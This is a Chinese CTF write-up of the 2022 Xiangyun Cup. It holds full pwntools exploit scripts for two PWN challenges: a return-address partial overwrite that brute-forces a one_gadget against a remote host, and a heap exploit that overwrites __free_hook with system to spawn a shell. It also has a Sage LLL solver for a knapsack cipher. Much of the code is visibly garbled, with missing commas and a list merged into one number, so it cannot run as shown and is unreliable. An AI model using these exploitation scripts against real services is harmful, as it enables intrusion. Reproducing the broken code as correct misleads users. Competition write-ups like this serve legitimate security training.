2022“祥云杯”——PWN和Crypto

时间:2023-02-07 18:59:12

分享一下之前第三届“祥云杯”的几道题,我们团队也在本次比赛中获得很多新的知识和大赛经验,赛后总结时,重点针对PWN和Crypto两大模块进行了深入研究和整理。

PWN部分

1、unexploitable

这道题整体难度还可以,部分改返回地址,然后直接爆破onegadget就可以了

#encoding=utf-8
from pwn import *
from re import L
from pwn import *
from ctypes import *
from LibcSearcher import *
import tty
#context.log_level = 'debug'
context.arch='amd64'
io=process("./pwn")
#io=gdb.debug('./pwn',"b*$rebase(0x7e9)")
#io=process("./pwn",stdin=PTY,raw=False)
#io = process(['./ld-2.31.so','./pwn'],env={"LD_PRELOAD":"./libc-2.31.so"})
elf=ELF('./pwn')
#io = remote('39.106.13.71',43731)
libc = ELF('./libc-2.31.so')
rl = lambda    a=False        : io.recvline(a)
ru = lambda a,b=True    : io.recvuntil(a,b)
rn = lambda x            : io.recvn(x)
sn = lambda x            : io.send(x)
sl = lambda x            : io.sendline(x)
sa = lambda a,b            : io.sendafter(a,b)
sla = lambda a,b        : io.sendlineafter(a,b)
irt = lambda            : io.interactive()
dbg = lambda text=None  : gdb.attach(io, text)
# lg = lambda s,addr        : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr))
lg = lambda s            : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data        : u32(data.ljust(4b'\x00'))
uu64 = lambda data        : u64(data.ljust(8b'\x00'))
#'\xf7\x13\x02
def pwn(io):
    payload='a'*0x18+'\xd1'
    io.send(payload)
    sleep(0.1)
    payload='a'*0x18+'\x02\x33\x9f'
    io.send(payload)
    sleep(0.1)
while True:
    try:
        io=remote("39.106.13.71",12720)
        pwn(io)
        io.sendline("ls")
        r=io.recv(timeout=0.2)
        assert len(r) > 0
        io.sendline("cat flag")
        r=io.recv()
        print(r)
        irt()
    except Exception as e:
        io.close()
        print(e)

2、queue

这道题目难度系数很高,逆向难度很大,我们团队在比赛的时候没有得到flag,赛后总结、复盘的时候,又对这道题进行了深入的学习,可以直接编辑这个装指针的堆块,其中edit和show函数时通过这个堆快里的指针进行操作的,修改堆指针最后一字节,可以读到已经释放的堆快里的libc地址,然后修改成free_hook,一套下来就OK
from datetime import datetime
from pwn import *
from re import L
from pwn import *
from ctypes import *
import time
from LibcSearcher import *
from Ayaka import get_my_payload
import tty
#context.log_level = 'debug'
context.arch='amd64'
#io=process(["./pwn"])
#io=gdb.debug('./pwn',"b*$rebase(0x7e9)")
#io=process("./pwn",stdin=PTY,raw=False)
#io = process(['./ld-2.31.so','./pwn'],env={"LD_PRELOAD":"./libc-2.31.so"})
elf=ELF('./pwn')
io = remote('101.201.71.136',41897)
libc = ELF('./libc-2.27.so')
rl = lambda    a=False        : io.recvline(a)
ru = lambda a,b=True    : io.recvuntil(a,b)
rn = lambda x            : io.recvn(x)
sn = lambda x            : io.send(x)
sl = lambda x            : io.sendline(x)
sa = lambda a,b            : io.sendafter(a,b)
sla = lambda a,b        : io.sendlineafter(a,b)
irt = lambda            : io.interactive()
dbg = lambda text=None  : gdb.attach(io, text)
# lg = lambda s,addr        : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr))
lg = lambda s            : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data        : u32(data.ljust(4b'\x00'))
uu64 = lambda data        : u64(data.ljust(8b'\x00'))
def menu(choice):
    sla("Queue Management: ",str(choice))
def add(size):
    menu(1)
    sla("Size: ",str(size))
def edit(index1,index2,context):
    menu(2)
    sla("Index: ",str(index1))
    sla("Value idx: ",str(index2))
    sla("Value: ",str(context))
def gift(index,context):
    menu(666)
    sla("Index: ",str(index))
    sa("Content: ",context)
def pop():
    menu(4)
def show(index,num):
    menu(3)
    sla("Index: ",str(index))
    sla("Num: ",str(num))
for i in range(10):
    add(0x50)
edit(0,0,0x61)
edit(0,1,0x62)
edit(0,2,0x63)
edit(0,3,0x64)
for i in range(5):
    pop()
#show(6,0x10)
gift(0,p64(0)*2+'\x30')
show(0,0x20)
ru("Content:")
for i in range(0x18):
    io.recvline()
heap=0
for i in range(8):
    t=int(io.recvline(),16)
    heap+=t<<8*i
lg("heap")
heap1=heap+(0x558513f44c60-0x558513f44080)
gift(0,p64(0)*2+p64(heap1))
show(0,0x10)
ru("Content:")
for i in range(8):
    io.recvline()
libcbase=0
for i in range(8):
    t=int(io.recvline(),16)
    libcbase+=t<<8*i
libcbase=libcbase-(0x7f4a1b807ca0-0x7f4a1b41c000)
lg("libcbase")
free_hook=libcbase+libc.sym['__free_hook']
system=libcbase+libc.sym['system']
lg("system")
gift(0,p64(0)*2+p64(free_hook)+p64(free_hook-0x100))
for i in range(6):
    edit(0,i,system&0xff)
    system>>=8
sh='/bin/sh\x00'
for i in range(len(sh)):
    edit(1,i,ord(sh[i]))
#heap2=heap+(0x56383908d070-0x56383908d2d0)
gift(0,p64(0)*2+p64(heap))
pop()
pop()
pop()
pop()
#gdb.attach(io)
irt()


Crypto部分

1、fill

这道题目很经典,难度不算高,背包加密 造格子,LLL一把梭,就OK了

from tqdm import *
d = 492226042629702
M = [196211411923403961754168164330049465918896231471734951370334136817448859912097514438641155621611028070476391186375489531502998505789241420689980879644200605579468524690819180619988491378702732863778251064035930273563752206959243428823666029102858310923264012354298101543081434444597606142318024727254142336852877928315179021971456346420739012534482480999613431243873675161271593214982112220647072602202557462354622466752845921146916059974372]
n = 991125622
s = [1] * 32
s[0], s[1], s[2] = 562734112859151551741682801
m = (s[2]-s[1])*inverse(s[1]-s[0],n) % n
c = (s[1]-s[0]*m)%n
for i in range(1,32):
    s[i] = (s[i-1] * m + c) % n
for i in range(32):
    M[i] -= s[i]
print(M)

S = 492226042629702
n = len(M)
L = matrix.zero(n + 1)

for row, x in enumerate(M):
    L[row, row] = 2
    L[row, -1] = x

L[-1, :] = 1
L[-1-1] = S

res = L.LLL()
print(res)
f = int(''.join(['1' if i == -1 else '0' for i in res[0][:-1]]),2)
print("flag{" + sha256(str(f).encode()).hexdigest() + "}")
zh

2022“祥云杯”——PWN和Crypto